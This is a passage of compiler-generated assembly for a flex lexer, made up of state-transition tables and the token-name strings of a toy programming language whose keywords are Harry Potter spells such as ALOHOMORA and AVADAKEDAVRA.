.short 123 ; 0x7b
.short 107 ; 0x6b
.short 0 ; 0x0
.short 116 ; 0x74
.short 120 ; 0x78
.short 111 ; 0x6f
.short 105 ; 0x69
.short 195 ; 0xc3
.short 103 ; 0x67
.short 115 ; 0x73
.short 102 ; 0x66
.short 110 ; 0x6e
.short 0 ; 0x0
.short 100 ; 0x64
.short 112 ; 0x70
.short 103 ; 0x67
.short 97 ; 0x61
.short 111 ; 0x6f
.short 110 ; 0x6e
.short 106 ; 0x6a
.short 0 ; 0x0
.short 97 ; 0x61
.short 100 ; 0x64
.short 107 ; 0x6b
.short 87 ; 0x57
.short 97 ; 0x61
.short 104 ; 0x68
.short 0 ; 0x0
.short 0 ; 0x0
.short 0 ; 0x0
.short 90 ; 0x5a
.short 94 ; 0x5e
.short 83 ; 0x53
.short 92 ; 0x5c
.short 95 ; 0x5f
.short 195 ; 0xc3
.short 80 ; 0x50
.short 83 ; 0x53
.short 92 ; 0x5c
.short 95 ; 0x5f
.short 0 ; 0x0
.short 0 ; 0x0
.short 83 ; 0x53
.short 82 ; 0x52
.short 0 ; 0x0
.short 84 ; 0x54
.short 73 ; 0x49
.short 72 ; 0x48
.short 72 ; 0x48
.short 75 ; 0x4b
.short 69 ; 0x45
.short 68 ; 0x44
.short 67 ; 0x43
.short 65 ; 0x41
.short 70 ; 0x46
.short 195 ; 0xc3
.short 68 ; 0x44
.short 69 ; 0x45
.short 78 ; 0x4e
.short 69 ; 0x45
.short 74 ; 0x4a
.short 69 ; 0x45
.short 63 ; 0x3f
.short 71 ; 0x47
.short 0 ; 0x0
.short 0 ; 0x0
.short 66 ; 0x42
.short 65 ; 0x41
.short 68 ; 0x44
.short 52 ; 0x34
.short 53 ; 0x35
.short 63 ; 0x3f
.short 0 ; 0x0
.short 54 ; 0x36
.short 59 ; 0x3b
.short 62 ; 0x3e
.short 0 ; 0x0
.short 51 ; 0x33
.short 50 ; 0x32
.short 0 ; 0x0
.short 49 ; 0x31
.short 58 ; 0x3a
.short 45 ; 0x2d
.short 43 ; 0x2b
.short 0 ; 0x0
.short 0 ; 0x0
.short 43 ; 0x2b
.short 39 ; 0x27
.short 54 ; 0x36
.short 0 ; 0x0
.short 0 ; 0x0
.short 0 ; 0x0
.short 44 ; 0x2c
.short 0 ; 0x0
.short 0 ; 0x0
.short 55 ; 0x37
.short 42 ; 0x2a
.short 53 ; 0x35
.short 36 ; 0x24
.short 0 ; 0x0
.short 0 ; 0x0
.short 24 ; 0x18
.short 28 ; 0x1c
.short 24 ; 0x18
.short 0 ; 0x0
.short 39 ; 0x27
.short 0 ; 0x0
.short 195 ; 0xc3
.short 72 ; 0x48
.short 75 ; 0x4b
.short 53 ; 0x35
.p2align 1 ; @yy_def
_yy_def:
.short 0 ; 0x0
.short 186 ; 0xba
.short 1 ; 0x1
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 187 ; 0xbb
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 188 ; 0xbc
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 187 ; 0xbb
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 186 ; 0xba
.short 186 ; 0xba
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 186 ; 0xba
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 189 ; 0xbd
.short 0 ; 0x0
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.p2align 2 ; @yy_meta
_yy_meta:
.long 0 ; 0x0
.long 1 ; 0x1
.long 1 ; 0x1
.long 2 ; 0x2
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 3 ; 0x3
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 1 ; 0x1
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 3 ; 0x3
.long 1 ; 0x1
.long 1 ; 0x1
.p2align 1 ; @yy_nxt
_yy_nxt:
.short 0 ; 0x0
.short 4 ; 0x4
.short 5 ; 0x5
.short 6 ; 0x6
.short 7 ; 0x7
.short 8 ; 0x8
.short 9 ; 0x9
.short 10 ; 0xa
.short 11 ; 0xb
.short 12 ; 0xc
.short 13 ; 0xd
.short 14 ; 0xe
.short 15 ; 0xf
.short 16 ; 0x10
.short 17 ; 0x11
.short 18 ; 0x12
.short 19 ; 0x13
.short 20 ; 0x14
.short 21 ; 0x15
.short 22 ; 0x16
.short 23 ; 0x17
.short 24 ; 0x18
.short 25 ; 0x19
.short 26 ; 0x1a
.short 27 ; 0x1b
.short 28 ; 0x1c
.short 29 ; 0x1d
.short 30 ; 0x1e
.short 31 ; 0x1f
.short 32 ; 0x20
.short 33 ; 0x21
.short 34 ; 0x22
.short 35 ; 0x23
.short 36 ; 0x24
.short 37 ; 0x25
.short 36 ; 0x24
.short 36 ; 0x24
.short 36 ; 0x24
.short 38 ; 0x26
.short 39 ; 0x27
.short 40 ; 0x28
.short 41 ; 0x29
.short 42 ; 0x2a
.short 43 ; 0x2b
.short 36 ; 0x24
.short 36 ; 0x24
.short 36 ; 0x24
.short 36 ; 0x24
.short 44 ; 0x2c
.short 45 ; 0x2d
.short 60 ; 0x3c
.short 68 ; 0x44
.short 72 ; 0x48
.short 75 ; 0x4b
.short 84 ; 0x54
.short 73 ; 0x49
.short 59 ; 0x3b
.short 76 ; 0x4c
.short 74 ; 0x4a
.short 77 ; 0x4d
.short 61 ; 0x3d
.short 69 ; 0x45
.short 62 ; 0x3e
.short 70 ; 0x46
.short 63 ; 0x3f
.short 185 ; 0xb9
.short 184 ; 0xb8
.short 78 ; 0x4e
.short 183 ; 0xb7
.short 64 ; 0x40
.short 182 ; 0xb6
.short 71 ; 0x47
.short 85 ; 0x55
.short 47 ; 0x2f
.short 47 ; 0x2f
.short 47 ; 0x2f
.short 53 ; 0x35
.short 181 ; 0xb5
.short 53 ; 0x35
.short 180 ; 0xb4
.short 179 ; 0xb3
.short 178 ; 0xb2
.short 177 ; 0xb1
.short 176 ; 0xb0
.short 175 ; 0xaf
.short 174 ; 0xae
.short 173 ; 0xad
.short 172 ; 0xac
.short 171 ; 0xab
.short 170 ; 0xaa
.short 169 ; 0xa9
.short 168 ; 0xa8
.short 167 ; 0xa7
.short 166 ; 0xa6
.short 165 ; 0xa5
.short 164 ; 0xa4
.short 163 ; 0xa3
.short 162 ; 0xa2
.short 161 ; 0xa1
.short 160 ; 0xa0
.short 159 ; 0x9f
.short 158 ; 0x9e
.short 157 ; 0x9d
.short 156 ; 0x9c
.short 155 ; 0x9b
.short 154 ; 0x9a
.short 153 ; 0x99
.short 152 ; 0x98
.short 151 ; 0x97
.short 150 ; 0x96
.short 149 ; 0x95
.short 148 ; 0x94
.short 147 ; 0x93
.short 146 ; 0x92
.short 145 ; 0x91
.short 144 ; 0x90
.short 143 ; 0x8f
.short 142 ; 0x8e
.short 141 ; 0x8d
.short 140 ; 0x8c
.short 139 ; 0x8b
.short 138 ; 0x8a
.short 137 ; 0x89
.short 136 ; 0x88
.short 135 ; 0x87
.short 134 ; 0x86
.short 133 ; 0x85
.short 132 ; 0x84
.short 131 ; 0x83
.short 130 ; 0x82
.short 129 ; 0x81
.short 128 ; 0x80
.short 127 ; 0x7f
.short 126 ; 0x7e
.short 125 ; 0x7d
.short 124 ; 0x7c
.short 123 ; 0x7b
.short 122 ; 0x7a
.short 121 ; 0x79
.short 120 ; 0x78
.short 119 ; 0x77
.short 118 ; 0x76
.short 117 ; 0x75
.short 116 ; 0x74
.short 115 ; 0x73
.short 114 ; 0x72
.short 113 ; 0x71
.short 112 ; 0x70
.short 111 ; 0x6f
.short 110 ; 0x6e
.short 109 ; 0x6d
.short 108 ; 0x6c
.short 107 ; 0x6b
.short 106 ; 0x6a
.short 105 ; 0x69
.short 104 ; 0x68
.short 103 ; 0x67
.short 102 ; 0x66
.short 101 ; 0x65
.short 100 ; 0x64
.short 99 ; 0x63
.short 98 ; 0x62
.short 97 ; 0x61
.short 96 ; 0x60
.short 95 ; 0x5f
.short 94 ; 0x5e
.short 93 ; 0x5d
.short 92 ; 0x5c
.short 91 ; 0x5b
.short 90 ; 0x5a
.short 89 ; 0x59
.short 88 ; 0x58
.short 87 ; 0x57
.short 86 ; 0x56
.short 48 ; 0x30
.short 83 ; 0x53
.short 82 ; 0x52
.short 81 ; 0x51
.short 80 ; 0x50
.short 79 ; 0x4f
.short 67 ; 0x43
.short 66 ; 0x42
.short 65 ; 0x41
.short 58 ; 0x3a
.short 57 ; 0x39
.short 56 ; 0x38
.short 55 ; 0x37
.short 54 ; 0x36
.short 52 ; 0x34
.short 51 ; 0x33
.short 50 ; 0x32
.short 49 ; 0x31
.short 48 ; 0x30
.short 46 ; 0x2e
.short 186 ; 0xba
.short 3 ; 0x3
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.short 186 ; 0xba
.p2align 1 ; @yy_accept
_yy_accept:
.short 0 ; 0x0
.short 1 ; 0x1
.short 1 ; 0x1
.short 1 ; 0x1
.short 2 ; 0x2
.short 4 ; 0x4
.short 7 ; 0x7
.short 9 ; 0x9
.short 12 ; 0xc
.short 14 ; 0xe
.short 16 ; 0x10
.short 19 ; 0x13
.short 22 ; 0x16
.short 25 ; 0x19
.short 28 ; 0x1c
.short 31 ; 0x1f
.short 34 ; 0x22
.short 37 ; 0x25
.short 40 ; 0x28
.short 43 ; 0x2b
.short 46 ; 0x2e
.short 49 ; 0x31
.short 52 ; 0x34
.short 55 ; 0x37
.short 58 ; 0x3a
.short 61 ; 0x3d
.short 63 ; 0x3f
.short 65 ; 0x41
.short 68 ; 0x44
.short 71 ; 0x47
.short 74 ; 0x4a
.short 77 ; 0x4d
.short 80 ; 0x50
.short 83 ; 0x53
.short 86 ; 0x56
.short 89 ; 0x59
.short 92 ; 0x5c
.short 95 ; 0x5f
.short 98 ; 0x62
.short 101 ; 0x65
.short 104 ; 0x68
.short 107 ; 0x6b
.short 110 ; 0x6e
.short 113 ; 0x71
.short 116 ; 0x74
.short 119 ; 0x77
.short 122 ; 0x7a
.short 123 ; 0x7b
.short 123 ; 0x7b
.short 124 ; 0x7c
.short 125 ; 0x7d
.short 126 ; 0x7e
.short 127 ; 0x7f
.short 128 ; 0x80
.short 128 ; 0x80
.short 129 ; 0x81
.short 130 ; 0x82
.short 131 ; 0x83
.short 131 ; 0x83
.short 131 ; 0x83
.short 132 ; 0x84
.short 133 ; 0x85
.short 134 ; 0x86
.short 135 ; 0x87
.short 136 ; 0x88
.short 137 ; 0x89
.short 138 ; 0x8a
.short 139 ; 0x8b
.short 140 ; 0x8c
.short 141 ; 0x8d
.short 142 ; 0x8e
.short 143 ; 0x8f
.short 144 ; 0x90
.short 145 ; 0x91
.short 146 ; 0x92
.short 147 ; 0x93
.short 148 ; 0x94
.short 149 ; 0x95
.short 151 ; 0x97
.short 153 ; 0x99
.short 154 ; 0x9a
.short 155 ; 0x9b
.short 157 ; 0x9d
.short 158 ; 0x9e
.short 159 ; 0x9f
.short 160 ; 0xa0
.short 161 ; 0xa1
.short 162 ; 0xa2
.short 162 ; 0xa2
.short 162 ; 0xa2
.short 163 ; 0xa3
.short 164 ; 0xa4
.short 166 ; 0xa6
.short 167 ; 0xa7
.short 168 ; 0xa8
.short 169 ; 0xa9
.short 170 ; 0xaa
.short 171 ; 0xab
.short 172 ; 0xac
.short 173 ; 0xad
.short 175 ; 0xaf
.short 176 ; 0xb0
.short 177 ; 0xb1
.short 178 ; 0xb2
.short 179 ; 0xb3
.short 180 ; 0xb4
.short 181 ; 0xb5
.short 183 ; 0xb7
.short 185 ; 0xb9
.short 187 ; 0xbb
.short 188 ; 0xbc
.short 189 ; 0xbd
.short 190 ; 0xbe
.short 191 ; 0xbf
.short 191 ; 0xbf
.short 192 ; 0xc0
.short 193 ; 0xc1
.short 194 ; 0xc2
.short 195 ; 0xc3
.short 196 ; 0xc4
.short 198 ; 0xc6
.short 200 ; 0xc8
.short 201 ; 0xc9
.short 202 ; 0xca
.short 204 ; 0xcc
.short 205 ; 0xcd
.short 206 ; 0xce
.short 207 ; 0xcf
.short 208 ; 0xd0
.short 209 ; 0xd1
.short 210 ; 0xd2
.short 211 ; 0xd3
.short 212 ; 0xd4
.short 213 ; 0xd5
.short 214 ; 0xd6
.short 215 ; 0xd7
.short 216 ; 0xd8
.short 217 ; 0xd9
.short 218 ; 0xda
.short 219 ; 0xdb
.short 220 ; 0xdc
.short 221 ; 0xdd
.short 222 ; 0xde
.short 223 ; 0xdf
.short 225 ; 0xe1
.short 227 ; 0xe3
.short 228 ; 0xe4
.short 229 ; 0xe5
.short 230 ; 0xe6
.short 231 ; 0xe7
.short 232 ; 0xe8
.short 233 ; 0xe9
.short 235 ; 0xeb
.short 236 ; 0xec
.short 237 ; 0xed
.short 238 ; 0xee
.short 240 ; 0xf0
.short 241 ; 0xf1
.short 242 ; 0xf2
.short 244 ; 0xf4
.short 245 ; 0xf5
.short 246 ; 0xf6
.short 247 ; 0xf7
.short 248 ; 0xf8
.short 250 ; 0xfa
.short 252 ; 0xfc
.short 253 ; 0xfd
.short 254 ; 0xfe
.short 255 ; 0xff
.short 257 ; 0x101
.short 259 ; 0x103
.short 261 ; 0x105
.short 262 ; 0x106
.short 264 ; 0x108
.short 266 ; 0x10a
.short 267 ; 0x10b
.short 268 ; 0x10c
.short 269 ; 0x10d
.short 270 ; 0x10e
.short 272 ; 0x110
.short 274 ; 0x112
.short 275 ; 0x113
.short 276 ; 0x114
.short 277 ; 0x115
.short 279 ; 0x117
.short 280 ; 0x118
.short 282 ; 0x11a
.short 282 ; 0x11a
.zerofill __DATA,__bss,_yy_lp,4,2 ; @yy_lp
.p2align 1 ; @yy_acclist
_yy_acclist:
.short 0 ; 0x0
.short 65 ; 0x41
.short 63 ; 0x3f
.short 64 ; 0x40
.short 57 ; 0x39
.short 63 ; 0x3f
.short 64 ; 0x40
.short 58 ; 0x3a
.short 64 ; 0x40
.short 59 ; 0x3b
.short 63 ; 0x3f
.short 64 ; 0x40
.short 63 ; 0x3f
.short 64 ; 0x40
.short 63 ; 0x3f
.short 64 ; 0x40
.short 46 ; 0x2e
.short 63 ; 0x3f
.short 64 ; 0x40
.short 22 ; 0x16
.short 63 ; 0x3f
.short 64 ; 0x40
.short 23 ; 0x17
.short 63 ; 0x3f
.short 64 ; 0x40
.short 42 ; 0x2a
.short 63 ; 0x3f
.short 64 ; 0x40
.short 40 ; 0x28
.short 63 ; 0x3f
.short 64 ; 0x40
.short 24 ; 0x18
.short 63 ; 0x3f
.short 64 ; 0x40
.short 41 ; 0x29
.short 63 ; 0x3f
.short 64 ; 0x40
.short 27 ; 0x1b
.short 63 ; 0x3f
.short 64 ; 0x40
.short 44 ; 0x2c
.short 63 ; 0x3f
.short 64 ; 0x40
.short 61 ; 0x3d
.short 63 ; 0x3f
.short 64 ; 0x40
.short 26 ; 0x1a
.short 63 ; 0x3f
.short 64 ; 0x40
.short 25 ; 0x19
.short 63 ; 0x3f
.short 64 ; 0x40
.short 52 ; 0x34
.short 63 ; 0x3f
.short 64 ; 0x40
.short 56 ; 0x38
.short 63 ; 0x3f
.short 64 ; 0x40
.short 53 ; 0x35
.short 63 ; 0x3f
.short 64 ; 0x40
.short 63 ; 0x3f
.short 64 ; 0x40
.short 63 ; 0x3f
.short 64 ; 0x40
.short 20 ; 0x14
.short 63 ; 0x3f
.short 64 ; 0x40
.short 21 ; 0x15
.short 63 ; 0x3f
.short 64 ; 0x40
.short 62 ; 0x3e
.short 63 ; 0x3f
.short 64 ; 0x40
.short 62 ; 0x3e
.short 63 ; 0x3f
.short 64 ; 0x40
.short 62 ; 0x3e
.short 63 ; 0x3f
.short 64 ; 0x40
.short 62 ; 0x3e
.short 63 ; 0x3f
.short 64 ; 0x40
.short 62 ; 0x3e
.short 63 ; 0x3f
.short 64 ; 0x40
.short 62 ; 0x3e
.short 63 ; 0x3f
.short 64 ; 0x40
.short 62 ; 0x3e
.short 63 ; 0x3f
.short 64 ; 0x40
.short 62 ; 0x3e
.short 63 ; 0x3f
.short 64 ; 0x40
.short 62 ; 0x3e
.short 63 ; 0x3f
.short 64 ; 0x40
.short 62 ; 0x3e
.short 63 ; 0x3f
.short 64 ; 0x40
.short 62 ; 0x3e
.short 63 ; 0x3f
.short 64 ; 0x40
.short 62 ; 0x3e
.short 63 ; 0x3f
.short 64 ; 0x40
.short 62 ; 0x3e
.short 63 ; 0x3f
.short 64 ; 0x40
.short 62 ; 0x3e
.short 63 ; 0x3f
.short 64 ; 0x40
.short 62 ; 0x3e
.short 63 ; 0x3f
.short 64 ; 0x40
.short 18 ; 0x12
.short 63 ; 0x3f
.short 64 ; 0x40
.short 19 ; 0x13
.short 63 ; 0x3f
.short 64 ; 0x40
.short 55 ; 0x37
.short 1 ; 0x1
.short 43 ; 0x2b
.short 38 ; 0x26
.short 39 ; 0x27
.short 17 ; 0x11
.short 50 ; 0x32
.short 54 ; 0x36
.short 51 ; 0x33
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 13 ; 0xd
.short 62 ; 0x3e
.short 16 ; 0x10
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 49 ; 0x31
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 60 ; 0x3c
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 48 ; 0x30
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 15 ; 0xf
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 32 ; 0x20
.short 62 ; 0x3e
.short 45 ; 0x2d
.short 62 ; 0x3e
.short 47 ; 0x2f
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 28 ; 0x1c
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 36 ; 0x24
.short 62 ; 0x3e
.short 30 ; 0x1e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 14 ; 0xe
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 29 ; 0x1d
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 33 ; 0x21
.short 62 ; 0x3e
.short 4 ; 0x4
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 3 ; 0x3
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 34 ; 0x22
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 7 ; 0x7
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 12 ; 0xc
.short 62 ; 0x3e
.short 31 ; 0x1f
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 37 ; 0x25
.short 62 ; 0x3e
.short 8 ; 0x8
.short 62 ; 0x3e
.short 5 ; 0x5
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 35 ; 0x23
.short 62 ; 0x3e
.short 10 ; 0xa
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 2 ; 0x2
.short 62 ; 0x3e
.short 9 ; 0x9
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 6 ; 0x6
.short 62 ; 0x3e
.short 62 ; 0x3e
.short 11 ; 0xb
.short 62 ; 0x3e
.zerofill __DATA,__bss,_yy_full_match,8,3 ; @yy_full_match
.comm _yytext,8,3 ; @yytext
.comm _yyleng,4,2 ; @yyleng
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "STRING(%s) "
l_.str.1: ; @.str.1
.asciz "ALOHOMORA "
l_.str.2: ; @.str.2
.asciz "ABERTO "
l_.str.3: ; @.str.3
.asciz "FOCUS "
l_.str.4: ; @.str.4
.asciz "GEMINIO "
l_.str.5: ; @.str.5
.asciz "GIRATIEMPO "
l_.str.6: ; @.str.6
.asciz "FINITE "
l_.str.7: ; @.str.7
.asciz "EXAMINO "
l_.str.8: ; @.str.8
.asciz "APARECIUM "
l_.str.9: ; @.str.9
.asciz "REDITUS "
l_.str.10: ; @.str.10
.asciz "AVADAKEDAVRA "
l_.str.11: ; @.str.11
.asciz "SALTUS "
l_.str.12: ; @.str.12
.asciz "IF "
l_.str.13: ; @.str.13
.asciz "ELSE "
l_.str.14: ; @.str.14
.asciz "END "
l_.str.15: ; @.str.15
.asciz "IN "
l_.str.16: ; @.str.16
.asciz "COMMENT "
l_.str.17: ; @.str.17
.asciz "OPENCURL "
l_.str.18: ; @.str.18
.asciz "CLOSECURL "
l_.str.19: ; @.str.19
.asciz "OPENBRACKET "
l_.str.20: ; @.str.20
.asciz "CLOSEBRACKET "
l_.str.21: ; @.str.21
.asciz "OPENPARENT "
l_.str.22: ; @.str.22
.asciz "CLOSEPARENT "
l_.str.23: ; @.str.23
.asciz "COMMA "
l_.str.24: ; @.str.24
.asciz "SEMICOLON "
l_.str.25: ; @.str.25
.asciz "COLON "
l_.str.26: ; @.str.26
.asciz "DOT "
l_.str.27: ; @.str.27
.asciz "TRUE "
l_.str.28: ; @.str.28
.asciz "FALSE "
l_.str.29: ; @.str.29
.asciz "TYPECHAR "
l_.str.30: ; @.str.30
.asciz "TYPESTRING "
l_.str.31: ; @.str.31
.asciz "TYPEINT "
l_.str.32: ; @.str.32
.asciz "TYPEFLOAT "
l_.str.33: ; @.str.33
.asciz "DOUBLE "
l_.str.34: ; @.str.34
.asciz "POINTER "
l_.str.35: ; @.str.35
.asciz "TYPEBOOLEAN "
l_.str.36: ; @.str.36
.asciz "EBUBLIO "
l_.str.37: ; @.str.37
.asciz "AUTOPLUS "
l_.str.38: ; @.str.38
.asciz "AUTOMINUS "
l_.str.39: ; @.str.39
.asciz "PLUS "
l_.str.40: ; @.str.40
.asciz "MINUS "
l_.str.41: ; @.str.41
.asciz "MULT "
l_.str.42: ; @.str.42
.asciz "POW "
l_.str.43: ; @.str.43
.asciz "DIV "
l_.str.44: ; @.str.44
.asciz "MOD "
l_.str.45: ; @.str.45
.asciz "ANDPERSEAND "
l_.str.46: ; @.str.46
.asciz "NOT "
l_.str.47: ; @.str.47
.asciz "AND "
l_.str.48: ; @.str.48
.asciz "OR "
l_.str.49: ; @.str.49
.asciz "GREATEREQUAL "
l_.str.50: ; @.str.50
